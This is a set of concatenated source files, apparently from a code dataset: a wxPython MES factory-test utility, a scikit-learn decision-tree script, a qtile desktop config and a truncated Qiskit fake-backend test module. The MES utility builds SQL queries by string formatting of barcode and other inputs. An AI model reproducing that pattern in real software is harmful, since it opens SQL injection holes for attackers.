work_done_status_sql = \"select count(*) from dmsnew.mtl_sub_attemper where state <> '已完工' and attempter_code='{}' \".format(extern_AttempterCode)  # outer\n\n    sql_value = Config.mes_db.fetchone(work_done_status_sql)\n    store['extern_work_done_status'] = mes_value( sql_value[0] )\n\n    sql = \"select sendno, sendmpk from dmsnew.work_main_barcode where barcode='{}'\".format(strBarCode)\n    sql_value = Config.mes_db.fetchone(sql)\n    if  sql_value is None or  len(sql_value) == 0:\n        store['extern_CompSendno'] = ''\n        store['extern_CompSendmpk'] = ''\n    else:\n        store['extern_CompSendno'] = mes_value(sql_value[0])\n        store['extern_CompSendmpk'] = mes_value(sql_value[1])\n\n    return True, ''\n\ndef sn_in_repaire(mes_attr):\n    if mes_attr['extern_QualityFlag'] == 'yes':\n        return False, u'此设备在维修状态'\n    return True, ''\n\ndef sn_in_procedurce(sn_value, mes_attr={}):\n    extern_SubID = mes_attr['extern_SubID']\n    extern_SerialNumber = mes_attr['extern_SerialNumber']\n    extern_ScanType = mes_attr['extern_ScanType']\n    extern_sn_testposition = mes_attr['extern_sn_testposition']\n    equalNum = int(extern_SubID) - int(extern_SerialNumber)\n    if equalNum >= 0 and extern_ScanType == u'正常生产':\n        return False, 'AfterStatin', u'该条码不在测试工序，该条码已过工序{}({})'.format(extern_SubID, extern_sn_testposition)\n    elif equalNum < 0 and equalNum != -1:\n        return False, 'BeforeStation',u'该条码不在测试工序，该条码已过工序{}({})'.format(extern_SubID, extern_sn_testposition)\n    elif sn_value not in get_available_sn():\n        return False, 'NoList' ,u'该条码{}不在测试列表中'.format(sn_value)\n    else:\n        sql = \"select numr from dmsnew.work_main_barcode where barcode='{}'\".format(sn_value)\n        sql_value = Config.mes_db.fetchone(sql)\n        if sql_value:\n            odevity = sql_value[0]\n            if odevity % 2 == 1:\n                return False, 'Odd', u'该条码扫描次数为奇数{}'.format(odevity)\n        return True, 'OK', ''\n\ndef get_assign_version(product_dict, xml):\n    assignversion_ele = xml.get_assignversion_element()\n    if assignversion_ele is None: return True, ''\n    try:\n        extern_WJTableName = Config.mes_attr['extern_WJTableName']\n        extern_StationName = Config.mes_attr['extern_StationName']\n        sql = \"select filename from DMSNEW.tab_productsubsoftware_history w where w.WORKJOB_CODE='{}' and w.realtestposition ='{}' \" \\\n              \"and w.createdate = (SELECT MAX(CREATEDATE) FROM DMSNEW.tab_productsubsoftware_history w where w.WORKJOB_CODE='{}' \" \\\n              \"and w.realtestposition ='{}')\".format( extern_WJTableName, extern_StationName, extern_WJTableName, extern_StationName)\n        filenams_list = Config.mes_db.fetchall(sql)\n        df = pd.DataFrame(filenams_list, columns=['filename'])\n        for child in assignversion_ele.iterchildren():\n            for filename in df.values:\n                match = re.search(child.get('regex', ''), filename[0])\n                if match and len(match.groups()) > 0:\n                    product_dict[child.get('assign', 'NULL')] = match.groups()[0]\n                    break\n                product_dict[child.get('assign', 'NULL')] = child.get('default', 'NULL')\n    except KeyError:\n        return False, '未输入工单号，不能获取工单信息'\n    return True, ''\n\ndef create_device(device_settings, page_idx, fail_skip=False):\n    pagewin = None\n    try:\n        if Config.mode['mode'] == 'single':\n            pagewin = Config.windows.values()[page_idx][0]\n        else:\n            m, s = divmod(page_idx, 2)\n            pagewin = Config.windows.values()[m][s]\n    except Exception:\n        pass\n\n    try:\n        device = communicate_factory(device_settings['protocol'], **device_settings)\n        device.connect()\n        if Config.mode['mode'] == 'single':\n            device_dict = {'master': [device, DeviceState.foreground], 'slave': [None, None]}\n            Config.devices[page_idx].update(device_dict)\n        else:\n            m, s = divmod(page_idx, 2)\n            if s:\n                device_dict = {'slave': [device, DeviceState.foreground]}\n            else:\n                device_dict = {'master': [device, DeviceState.foreground]}\n\n            Config.devices[m].update(device_dict)\n    except Exception:\n        if not fail_skip:\n            pagewin.section_area.AppendText('{}创建失败\\n'.format(device_settings['name']))\n    else:\n        pagewin.section_area.AppendText('{}创建成功\\n'.format(device_settings['name']))\n\ndef time_sync():\n    try:\n        def set_time(date_str):\n            gmt_time_struct = time.strptime(date_str[5:25], \"%d %b %Y %H:%M:%S\")\n            ltime = time.localtime(time.mktime(gmt_time_struct) + 8 * 60 * 60)\n            date_cmd = 'date {}-{}-{}'.format(ltime.tm_year, ltime.tm_mon, ltime.tm_mday)\n            time_cmd = 'time {}:{}:{}'.format(ltime.tm_hour, ltime.tm_min, ltime.tm_sec)\n            os.system(date_cmd)\n            os.system(time_cmd)\n\n        host = '192.168.60.70'\n        conn = httplib.HTTPConnection(host=host, timeout=3)\n        conn.request('GET', '/')\n        resp = conn.getresponse()\n        date_str = resp.getheader('date')\n        threading.Thread(target=set_time, args=(date_str,)).start()\n        return True\n    except Exception as e:\n        return False\n\ndef back_remove(s):\n        while '\\x08' in s:\n            s = re.sub('[^\\x08]\\x08', '', s)\n        return s\n\ndef isfloat(value):\n  try:\n    float(value)\n    return True\n  except ValueError:\n    return False\n\n#crc密码生产器\ndef crc_passwd(mac):\n    exe_path = Config.crcfile\n    hex_str = mac.upper() + time.strftime('%Y%m%d', time.localtime())\n    hex_str = str(hex_str).translate(None, ': ').upper()\n    if len(hex_str)%2 == 0:\n        hex_str_list = [ hex_str[i:i+2] for i in range(0, len(hex_str), 2) ]\n    else:\n        hex_str_list = ['00']\n\n    output = subprocess.check_output([exe_path] + hex_str_list, shell=True, universal_newlines=True)\n    match = re.search(r'pwd\\s*is\\s*:\\s*(\\w+)', output)\n    passwd = match.groups()[0]\n    return passwd\n\n\n\n\n","repo_name":"jekoie/JekoieDemo","sub_path":"wxpython-AutoTest/AutoTest/ui/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":30247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"2994339023","text":"import pandas as pd\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import tree\nimport pydot\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\n\ndata = pd.read_excel('credit.xls')\ntarget = data.loc[:, 'kredit']\nfeatures = data.loc[:, 'laufkont':'gastarb']\nprint('Total counts:\\n', target.value_counts())\nX_train, X_test, y_train, y_test = train_test_split(features, target, test_size=0.3, random_state=42)\nclf = tree.DecisionTreeClassifier(\n    # random_state=17,\n    # max_depth=12,\n    # min_samples_leaf=20,\n    # min_impurity_split=0.3\n\n    class_weight=None, criterion='gini', max_depth=3,\n    max_features=None, max_leaf_nodes=None, min_samples_leaf=5,\n    min_samples_split=2, min_weight_fraction_leaf=0.0,\n    presort=False, random_state=42, splitter='best'\n)\nclf.fit(X_train, y_train)\nscores = cross_val_score(clf, X_test, y_test, cv=5, scoring='f1')\nprint(scores)\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\nl = [clf.predict(key.reshape(1, -1))[0] for key in X_test.values]\n# print(confusion_matrix(y_test, l))\ndot_data = tree.export_graphviz(clf, feature_names=list(features.columns.values),\n                                class_names=['credit', 'no_credit'],\n                                out_file='small_tree.dot', filled=True)\n(graph,) = pydot.graph_from_dot_file('small_tree.dot')\ngraph.write_png('example1.png')\n# print(clf.feature_importances_)\nprint(accuracy_score(y_test, clf.predict(X_test)))\n","repo_name":"n-s-kozlovskii/data_mining","sub_path":"lab1/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21992571533","text":"from libqtile.config import Key\nfrom libqtile.config import Screen\nfrom libqtile.config import Group\nfrom libqtile.config import Drag\nfrom libqtile.config import Click\nfrom libqtile.config import ScratchPad\nfrom libqtile.config import DropDown\nfrom libqtile.config import Match\nfrom libqtile.lazy import lazy\nfrom libqtile import layout\nfrom libqtile import bar\nfrom libqtile import widget\nfrom libqtile import hook\n\nfrom typing import List  # noqa: F401\n\nimport os\nimport subprocess\n\n\n# -----------------------------------------------------------------------------\n# constants\n# -----------------------------------------------------------------------------\n\nWIN = \"mod4\"\nALT = \"mod1\"\nSHIFT = \"shift\"\nCTRL = \"control\"\n\nHOME = os.path.expanduser('~')\n\n\n# -----------------------------------------------------------------------------\n# helper functions\n# -----------------------------------------------------------------------------\n\ndef get_number_of_active_monitors():\n    num_monitors = 0\n    xrandr_output = subprocess.check_output(\"xrandr\").splitlines()\n\n    for line in xrandr_output:\n        str_line = str(line)\n        if \"*\" in str_line:\n            num_monitors += 1\n\n    return num_monitors\n\nnumber_of_monitors = get_number_of_active_monitors()\n\n\n@lazy.function\ndef float_to_front(qtile):\n    \"\"\"\n    Bring all floating windows of the group to front\n    \"\"\"\n    for window in qtile.current_group.windows:\n        if window.floating:\n            window.cmd_bring_to_front()\n            window.cmd_focus()\n\n\n# -----------------------------------------------------------------------------\n# global veriables\n# -----------------------------------------------------------------------------\n\nmy_terminal = \"alacritty\"\n\ncolors = {\n    \"background\":    {\"normal\": \"#083f4d\", \"bright\": \"#0c677e\"},\n    \"foreground\":    {\"normal\": \"#839496\", \"bright\": \"#eeeeee\"},\n    \"black\":         {\"normal\": \"#000000\", \"bright\": \"#222222\"},\n    \"red\":           {\"normal\": \"#dc322f\", \"bright\": \"#df5017\"},\n    \"green\":         {\"normal\": \"#169921\", \"bright\": \"#1aba27\"},\n    \"yellow\":        {\"normal\": \"#b58900\", \"bright\": \"#daa400\"},\n    \"blue\":          {\"normal\": \"#268bd2\", \"bright\": \"#2a9dea\"},\n    \"magenta\":       {\"normal\": \"#da54da\", \"bright\": \"#fe61fe\"},\n    \"cyan\":          {\"normal\": \"#26958c\", \"bright\": \"#2db0a5\"},\n    \"white\":         {\"normal\": \"#888888\", \"bright\": \"#ffffff\"},\n    \"border_focus\":  {\"normal\": \"#268bd2\", \"bright\": \"#2a9dea\"},\n    \"border_normal\": {\"normal\": \"#555555\", \"bright\": \"#888888\"},\n}\n\n\n# -----------------------------------------------------------------------------\n# configuration\n# -----------------------------------------------------------------------------\n\n# from default config file\n# -----------------------------------------------------------------------------\n\nauto_fullscreen = True\nfocus_on_window_activation = \"smart\"\n\nmouse = [\n    Drag([WIN], \"Button1\", lazy.window.set_position_floating(),\n         start=lazy.window.get_position()),\n    Drag([WIN], \"Button3\", lazy.window.set_size_floating(),\n         start=lazy.window.get_size()),\n    Click([WIN], \"Button2\", lazy.window.bring_to_front())\n]\n\ndgroups_key_binder = None\ndgroups_app_rules = []  # type: List\nmain = None\nfollow_mouse_focus = False\nbring_front_click = True\ncursor_warp = False\n\n\n# keys\n#\n# ToDo: Think about using key cords for certain short cuts. Maybe I can use it\n#       to group all dmenu key bindings into one group for example.\n#       See PR #1777 (https://github.com/qtile/qtile/pull/1777/commits) for\n#       reference.\n# -----------------------------------------------------------------------------\n\nkeys = [\n    # Move window focus\n    Key([WIN], \"h\", lazy.layout.left()),\n    Key([WIN], \"j\", lazy.layout.down()),\n    Key([WIN], \"k\", lazy.layout.up()),\n    Key([WIN], \"l\", lazy.layout.right()),\n\n    Key([ALT], \"Tab\", lazy.layout.up()),\n\n    # Change window size\n    Key([WIN], \"i\", lazy.layout.grow()),\n    Key([WIN], \"o\", lazy.layout.shrink()),\n    Key([WIN], \"m\", lazy.layout.maximize()),\n    Key([WIN], \"n\", lazy.layout.normalize()),\n\n    Key([WIN, CTRL, SHIFT], \"m\", lazy.window.toggle_fullscreen()),\n    Key([WIN, CTRL, SHIFT], \"f\", lazy.window.toggle_floating()),\n\n    # Move window within a layout\n    Key([WIN, CTRL], \"h\", lazy.layout.shuffle_left()),\n    Key([WIN, CTRL], \"j\", lazy.layout.shuffle_down()),\n    Key([WIN, CTRL], \"k\", lazy.layout.shuffle_up()),\n    Key([WIN, CTRL], \"l\", lazy.layout.shuffle_right()),\n\n    Key([WIN, CTRL], \"f\", float_to_front),\n\n    # Flip layout (monadtall and monadwide)\n    Key([WIN, CTRL], \"space\", lazy.layout.flip()),\n\n    # Switch layouts\n    Key([WIN], \"Tab\", lazy.next_layout()),\n\n    # Move monitor focus\n    Key([WIN], \"s\", lazy.to_screen(0)),\n    Key([WIN], \"d\", lazy.to_screen(1)),\n    Key([WIN], \"f\", lazy.to_screen(2)),\n\n    # Cycle through workspaces\n    Key([WIN, SHIFT], \"Left\", lazy.screen.prev_group()),\n    Key([WIN, SHIFT], \"Right\", lazy.screen.next_group()),\n    Key([WIN, SHIFT], \"h\", lazy.screen.prev_group()),\n    Key([WIN, SHIFT], \"l\", lazy.screen.next_group()),\n\n    # Start applications\n    Key([ALT], \"Return\", lazy.spawn(\n        my_terminal + \" --working-directory \" + HOME)),\n    Key([ALT, CTRL], \"Return\",\n        lazy.group[\"scratchpad\"].dropdown_toggle(\"term\")),\n    Key([ALT, CTRL], \"c\",\n        lazy.group[\"scratchpad\"].dropdown_toggle(\"cal\")),\n    Key([ALT], \"space\", lazy.spawn(\"dmenu_run -l 10 -p 'Run: '\")),\n    Key([ALT, CTRL], \"b\", lazy.spawn(\"qutebrowser\")),\n    Key([ALT, CTRL], \"m\", lazy.spawn(\"thunderbird\")),\n    Key([ALT, CTRL], \"f\", lazy.spawn(\n        my_terminal + \" -e \" + HOME + \"/.dotfiles/.config/vifm/scripts/vifmrun\")\n    ),\n    Key([ALT, CTRL], \"v\", lazy.spawn(\"pavucontrol\")),\n    Key([ALT, CTRL], \"l\", lazy.spawn(\"slock\")),    # lock screen\n    Key([ALT, CTRL], \"p\", lazy.spawn(\"dmenu_pdf\")),\n    Key([ALT, CTRL], \"w\", lazy.spawn(\"firefox --new-window https://web.whatsapp.com\")),\n    Key([ALT, CTRL], \"y\", lazy.spawn(\"dmenu_youtube\")),\n\n    # Dmenu scripts\n    Key([WIN], \"Print\", lazy.spawn(\"dmenu_scrot\")),\n    Key([WIN], \"p\", lazy.spawn(\"dmenu_scrot\")),\n    Key([], \"XF86Display\", lazy.spawn(\"dmenu_monitors\")),\n    # For some reason the previous key binding does not work on my external\n    # keyboard, therefore I added a second key binding to run dmenu_monitors\n    Key([WIN], \"q\", lazy.spawn(\"dmenu_monitors\")),\n    Key([ALT, CTRL], \"Delete\", lazy.spawn(\"dmenu_break\")),\n\n    # Close applications\n    Key([ALT], \"F4\", lazy.window.kill()),\n    Key([WIN], \"w\", lazy.window.kill()),\n\n    # Restart/quit Qtile\n    Key([WIN, CTRL], \"r\", lazy.restart()),\n    Key([WIN, CTRL], \"q\", lazy.shutdown()),\n]\n\n# groups\n# -----------------------------------------------------------------------------\n\ngroup_configs = [\n    (\"mail\", {\"layout\": \"monadtall\"}),\n    (\"web\", {\"layout\": \"monadtall\"}),\n    (\"wapp\", {\"layout\": \"monadtall\"}),\n    (\"dev_1\", {\"layout\": \"monadtall\"}),\n    (\"dev_2\", {\"layout\": \"monadtall\"}),\n    (\"dev_3\", {\"layout\": \"monadtall\"}),\n    (\"free_1\", {\"layout\": \"monadtall\"}),\n    (\"free_2\", {\"layout\": \"monadtall\"}),\n    (\"free_3\", {\"layout\": \"monadtall\"}),\n]\n\ngroups = [Group(name, **kwargs) for name, kwargs in group_configs]\n\nfor i, (name, kwargs) in enumerate(group_configs, 1):\n    keys.extend([\n        # Go to workspace x\n        Key([WIN], str(i), lazy.group[name].toscreen(toggle=False)),\n        # Send window to workspace x\n        Key([WIN, SHIFT], str(i), lazy.window.togroup(name, switch_group=False)),\n        # Send window to workspace x and switch to that workspace\n        Key([WIN, CTRL], str(i), lazy.window.togroup(name, switch_group=True)),\n    ])\n\nscratchpad = ScratchPad(\n    \"scratchpad\",\n    [\n        DropDown(\n            \"term\",\n            my_terminal + \" --working-directory \" + HOME,\n            width=0.8,\n            height=0.8,\n            opacity=0.9,\n            y=0.1,\n        ),\n        DropDown(\n            \"cal\",\n            my_terminal + \" --hold -e cal -m -Y -S\",\n            width=0.375,\n            height=0.65,\n            opacity=1,\n            y=0.175,\n            x=0.3,\n        ),\n    ],\n)\n\ngroups.append(scratchpad)\n\n\n# Show certain set of workspaces on the three monitors\nif number_of_monitors == 3:\n    keys.append(\n        Key([WIN], \"x\",\n            lazy.to_screen(0), lazy.group[group_configs[0][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[1][0]].toscreen(toggle=False),\n            lazy.to_screen(2), lazy.group[group_configs[2][0]].toscreen(toggle=False),\n            lazy.to_screen(1),\n        )\n    )\n    keys.append(\n        Key([WIN], \"c\",\n            lazy.to_screen(0), lazy.group[group_configs[3][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[4][0]].toscreen(toggle=False),\n            lazy.to_screen(2), lazy.group[group_configs[5][0]].toscreen(toggle=False),\n            lazy.to_screen(1),\n        )\n    )\n    keys.append(\n        Key([WIN], \"v\",\n            lazy.to_screen(0), lazy.group[group_configs[6][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[7][0]].toscreen(toggle=False),\n            lazy.to_screen(2), lazy.group[group_configs[8][0]].toscreen(toggle=False),\n            lazy.to_screen(1),\n        )\n    )\nelif number_of_monitors == 2:\n    keys.append(\n        Key([WIN], \"x\",\n            lazy.to_screen(0), lazy.group[group_configs[1][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[2][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\n    keys.append(\n        Key([WIN], \"c\",\n            lazy.to_screen(0), lazy.group[group_configs[4][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[5][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\n    keys.append(\n        Key([WIN], \"v\",\n            lazy.to_screen(0), lazy.group[group_configs[7][0]].toscreen(toggle=False),\n            lazy.to_screen(1), lazy.group[group_configs[8][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\nelse:\n    keys.append(\n        Key([WIN], \"x\",\n            lazy.to_screen(0), lazy.group[group_configs[0][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\n    keys.append(\n        Key([WIN], \"c\",\n            lazy.to_screen(0), lazy.group[group_configs[3][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\n    keys.append(\n        Key([WIN], \"v\",\n            lazy.to_screen(0), lazy.group[group_configs[6][0]].toscreen(toggle=False),\n            lazy.to_screen(0),\n        )\n    )\n\n\n# layouts\n# -----------------------------------------------------------------------------\n\nlayout_theme = {\n    \"border_focus\": colors[\"border_focus\"][\"bright\"],\n    \"border_normal\": colors[\"border_normal\"][\"normal\"],\n    \"border_width\": 3,\n    \"margin\": 10,\n    \"ratio\": 0.5,\n    \"max_ratio\": 0.85,\n    \"min_raton\": 0.25,\n    \"new_at_current\": False,\n}\n\nlayouts = [\n    layout.MonadTall(**layout_theme),\n    layout.Max(**layout_theme),\n    layout.MonadWide(**layout_theme),\n    layout.Matrix(columns=2, **layout_theme),\n    layout.Floating(**layout_theme),\n    layout.TreeTab(sections=[\"Tabs\"], **layout_theme),\n]\n\nfloating_layout = layout.Floating(float_rules=[\n    # Run the utility of `xprop` to see the wm class and name of an X client.\n    *layout.Floating.default_float_rules,\n    Match(wm_class='confirm'),\n    Match(wm_class='dialog'),\n    Match(wm_class='download'),\n    Match(wm_class='error'),\n    Match(wm_class='file_progress'),\n    Match(wm_class='notification'),\n    Match(wm_class='splash'),\n    Match(wm_class='toolbar'),\n    Match(wm_class='gitk' ),\n    Match(wm_class='pinentry-gtk-2'),  # GPG key password entry\n    Match(wm_class='ssh-askpass'),  # ssh-askpass\n    Match(wm_class='clementine' ),\n    Match(wm_class='pavucontrol' ),\n    Match(wm_class='qalculate-gtk' ),\n])\n\n\n# screens\n# -----------------------------------------------------------------------------\n\ndef init_widgets(primary_monitor=False):\n    widgets = []\n    widgets.append(widget.Sep(\n        linewidth = 0,\n        padding = 8,\n    ))\n    widgets.append(widget.GroupBox(\n        active=colors[\"foreground\"][\"bright\"],\n        inactive=colors[\"foreground\"][\"normal\"],\n        this_screen_border=colors[\"border_normal\"][\"bright\"],\n        this_current_screen_border=colors[\"border_focus\"][\"bright\"],\n        other_screen_border=colors[\"border_normal\"][\"normal\"],\n        other_current_screen_border=colors[\"border_normal\"][\"normal\"],\n        margin=3,\n    ))\n    widgets.append(widget.Sep(\n        linewidth = 2,\n        padding = 8,\n        foreground = colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.CurrentLayout(\n        foreground=colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.Sep(\n        linewidth = 2,\n        padding = 8,\n        foreground = colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.WindowName(\n        foreground = colors[\"foreground\"][\"bright\"],\n    ))\n\n    if primary_monitor == True:\n        widgets.append(widget.Systray())\n        widgets.append(widget.Sep(\n            linewidth = 2,\n            padding = 8,\n            foreground = colors[\"foreground\"][\"normal\"],\n        ))\n\n    widgets.append(widget.Battery(\n        foreground = colors[\"foreground\"][\"normal\"],\n        low_foreground = colors[\"red\"][\"bright\"],\n        low_percentage = 5.0,\n        update_interval = 5,\n        full_char = \"\",\n        charge_char = \"+\",\n        discharge_char = \"-\",\n        empty_char = \"\",\n        format = \"{char} {percent:02.1%}\",\n    ))\n    widgets.append(widget.Sep(\n        linewidth = 2,\n        padding = 8,\n        foreground = colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.TextBox(\n        text=\"Vol:\",\n        foreground=colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.Volume(\n        foreground=colors[\"foreground\"][\"normal\"]\n    ))\n    widgets.append(widget.Sep(\n        linewidth = 2,\n        padding = 8,\n        foreground = colors[\"foreground\"][\"normal\"],\n    ))\n    widgets.append(widget.Clock(\n        foreground=colors[\"foreground\"][\"normal\"],\n        format='%Y-%m-%d %H:%M',\n    ))\n    widgets.append(widget.Sep(\n        linewidth = 0,\n        padding = 8,\n    ))\n\n    return widgets\n\n\ndef init_bar(primary_monitor=False):\n    return bar.Bar(\n        init_widgets(primary_monitor),\n        30,\n        background=colors[\"background\"][\"normal\"],\n    )\n\n\ndef init_screen(primary_monitor=False):\n    return Screen(\n        top=init_bar(primary_monitor),\n    )\n\nscreens = []\nif number_of_monitors == 1:\n    screens.append(init_screen(primary_monitor=True))\nelse:\n    for monitor_number in range(1, number_of_monitors + 1):\n        primary_monitor = False\n        if monitor_number == 2:\n            primary_monitor = True\n        screens.append(init_screen(primary_monitor=primary_monitor))\n\n\n# -----------------------------------------------------------------------------\n# other stuff\n# -----------------------------------------------------------------------------\n\n# XXX: Gasp! We're lying here. In fact, nobody really uses or cares about this\n# string besides java UI toolkits; you can see several discussions on the\n# mailing lists, GitHub issues, and other WM documentation that suggest setting\n# this string if your java app doesn't work correctly. We may as well just lie\n# and say that we're a working one by default.\n#\n# We choose LG3D to maximize irony: it is a 3D non-reparenting WM written in\n# java that happens to be on java's whitelist.\nwmname = \"LG3D\"\n\n\n# -----------------------------------------------------------------------------\n# hooks\n# -----------------------------------------------------------------------------\n\n@hook.subscribe.startup_once\ndef autostart_complete():\n    subprocess.call([HOME + '/.config/qtile/autostart_once.sh'])\n\n\n@hook.subscribe.startup_complete\ndef autostart_complete():\n    subprocess.call([HOME + '/.config/qtile/autostart_complete.sh'])\n\n\n@hook.subscribe.client_new\ndef float_firefox(window):\n    wm_class = window.window.get_wm_class()\n    w_name = window.window.get_name()\n    if wm_class == (\"Places\", \"firefox\") and w_name == \"Library\":\n        window.floating = True\n\n\n@hook.subscribe.client_new\ndef float_pycharm(window):\n    wm_class = window.window.get_wm_class()\n    w_name = window.window.get_name()\n    if (\n        (\n            wm_class == (\"jetbrains-pycharm-ce\", \"jetbrains-pycharm-ce\")\n            and w_name == \" \"\n        )\n        or (\n            wm_class == (\"java-lang-Thread\", \"java-lang-Thread\")\n            and w_name == \"win0\"\n        )\n    ):\n        window.floating = True\n\n\n@hook.subscribe.client_new\ndef float_digikam(window):\n    wm_class = window.window.get_wm_class()\n    w_name = window.window.get_name()\n    if (wm_class == (\"digikam\", \"digikam\") and \"Rename\" in w_name):\n        window.floating = True\n\n","repo_name":"schuam/.dotfiles","sub_path":".config/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":16895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"26677327587","text":"import datetime\n\nimport numpy as np\n\nfrom qiskit.circuit.parameter import Parameter\nfrom qiskit.circuit.measure import Measure\nfrom qiskit.circuit.library.standard_gates import (\n    CXGate,\n    UGate,\n    ECRGate,\n    RXGate,\n    SXGate,\n    XGate,\n    RZGate,\n)\nfrom qiskit.providers.backend import BackendV2, QubitProperties\nfrom qiskit.providers.options import Options\nfrom qiskit.transpiler import Target, InstructionProperties\nfrom qiskit.providers.basicaer.qasm_simulator import QasmSimulatorPy\n\n\nclass FakeBackendV2(BackendV2):\n    \"\"\"A mock backend that doesn't implement run() to test compatibility with Terra internals.\"\"\"\n\n    def __init__(self):\n        super().__init__(\n            None,\n            name=\"FakeV2\",\n            description=\"A fake BackendV2 example\",\n            online_date=datetime.datetime.now(datetime.timezone.utc),\n            backend_version=\"0.0.1\",\n        )\n        self._qubit_properties = [\n            QubitProperties(t1=63.48783e-6, t2=112.23246e-6, frequency=5.17538e9),\n            QubitProperties(t1=73.09352e-6, t2=126.83382e-6, frequency=5.26722e9),\n        ]\n        self._target = Target(qubit_properties=self._qubit_properties)\n        self._theta = Parameter(\"theta\")\n        self._phi = Parameter(\"phi\")\n        self._lam = Parameter(\"lambda\")\n        rx_props = {\n            (0,): InstructionProperties(duration=5.23e-8, error=0.00038115),\n            (1,): InstructionProperties(duration=4.52e-8, error=0.00032115),\n        }\n        self._target.add_instruction(RXGate(self._theta), rx_props)\n        rx_30_props = {\n            (0,): InstructionProperties(duration=1.23e-8, error=0.00018115),\n            (1,): InstructionProperties(duration=1.52e-8, error=0.00012115),\n        }\n        self._target.add_instruction(RXGate(np.pi / 6), rx_30_props, name=\"rx_30\")\n        u_props = {\n            (0,): InstructionProperties(duration=5.23e-8, error=0.00038115),\n            (1,): InstructionProperties(duration=4.52e-8, error=0.00032115),\n        }\n        self._target.add_instruction(UGate(self._theta, self._phi, self._lam), u_props)\n        cx_props = {\n            (0, 1): InstructionProperties(duration=5.23e-7, error=0.00098115),\n        }\n        self._target.add_instruction(CXGate(), cx_props)\n        measure_props = {\n            (0,): InstructionProperties(duration=6e-6, error=5e-6),\n            (1,): InstructionProperties(duration=1e-6, error=9e-6),\n        }\n        self._target.add_instruction(Measure(), measure_props)\n        ecr_props = {\n            (1, 0): InstructionProperties(duration=4.52e-9, error=0.0000132115),\n        }\n        self._target.add_instruction(ECRGate(), ecr_props)\n        self.options.set_validator(\"shots\", (1, 4096))\n\n    @property\n    def target(self):\n        return self._target\n\n    @property\n    def max_circuits(self):\n        return None\n\n    @classmethod\n    def _default_options(cls):\n        return Options(shots=1024)\n\n    def run(self, run_input, **options):\n        raise NotImplementedError\n\n\nclass FakeBackendV2LegacyQubitProps(FakeBackendV2):\n    \"\"\"Fake backend that doesn't use qubit properties via the target.\"\"\"\n\n    def qubit_properties(self, qubit):\n        if isinstance(qubit, int):\n            return self._qubit_properties[qubit]\n        return [self._qubit_properties[i] for i in qubit]\n\n\nclass FakeBackend5QV2(BackendV2):\n    \"\"\"A mock backend that doesn't implement run() to test compatibility with Terra internals.\"\"\"\n\n    def __init__(self, bidirectional=True):\n        super().__init__(\n            None,\n            name=\"Fake5QV2\",\n            description=\"A fake BackendV2 example\",\n            online_date=datetime.datetime.now(datetime.timezone.utc),\n            backend_version=\"0.0.1\",\n        )\n        qubit_properties = [\n            QubitProperties(t1=63.48783e-6, t2=112.23246e-6, frequency=5.17538e9),\n            QubitProperties(t1=73.09352e-6, t2=126.83382e-6, frequency=5.26722e9),\n            QubitProperties(t1=73.09352e-6, t2=126.83382e-6, frequency=5.26722e9),\n            QubitProperties(t1=73.09352e-6, t2=126.83382e-6, frequency=5.26722e9),\n            QubitProperties(t1=73.09352e-6, t2=126.83382e-6, frequency=5.26722e9),\n        ]\n        self._target = Target(qubit_properties=qubit_properties)\n        self._theta = Parameter(\"theta\")\n        self._phi = Parameter(\"phi\")\n        self._lam = Parameter(\"lambda\")\n        u_props = {\n            (0,): InstructionProperties(duration=5.23e-8, error=0.00038115),\n            (1,): InstructionProperties(duration=4.52e-8, error=0.00032115),\n            (2,): InstructionProperties(duration=5.23e-8, error=0.00038115),\n            (3,): InstructionProperties(duration=4.52e-8, error=0.00032115),\n            (4,): InstructionProperties(duration=4.52e-8, error=0.00032115),\n        }\n        self._target.add_instruction(UGate(self._theta, self._phi, self._lam), u_props)\n        cx_props = {\n            (0, 1): InstructionProperties(duration=5.23e-7, error=0.00098115),\n            (3, 4): InstructionProperties(duration=5.23e-7, error=0.00098115),\n        }\n        if bidirectional:\n            cx_props[(1, 0)] = InstructionProperties(duration=6.23e-7, error=0.00099115)\n            cx_props[(4, 3)] = InstructionProperties(duration=7.23e-7, error=0.00099115)\n        self._target.add_instruction(CXGate(), cx_props)\n        measure_props = {\n            (0,): InstructionProperties(duration=6e-6, error=5e-6),\n            (1,): InstructionProperties(duration=1e-6, error=9e-6),\n            (2,): InstructionProperties(duration=6e-6, error=5e-6),\n            (3,): InstructionProperties(duration=1e-6, error=9e-6),\n            (4,): InstructionProperties(duration=1e-6, error=9e-6),\n        }\n        self._target.add_instruction(Measure(), measure_props)\n        ecr_props = {\n            (1, 2): InstructionProperties(duration=4.52e-9, error=0.0000132115),\n            (2, 3): InstructionProperties(duration=4.52e-9, error=0.0000132115),\n        }\n        if bidirectional:\n            ecr_props[(2, 1)] = InstructionProperties(duration=5.52e-9, 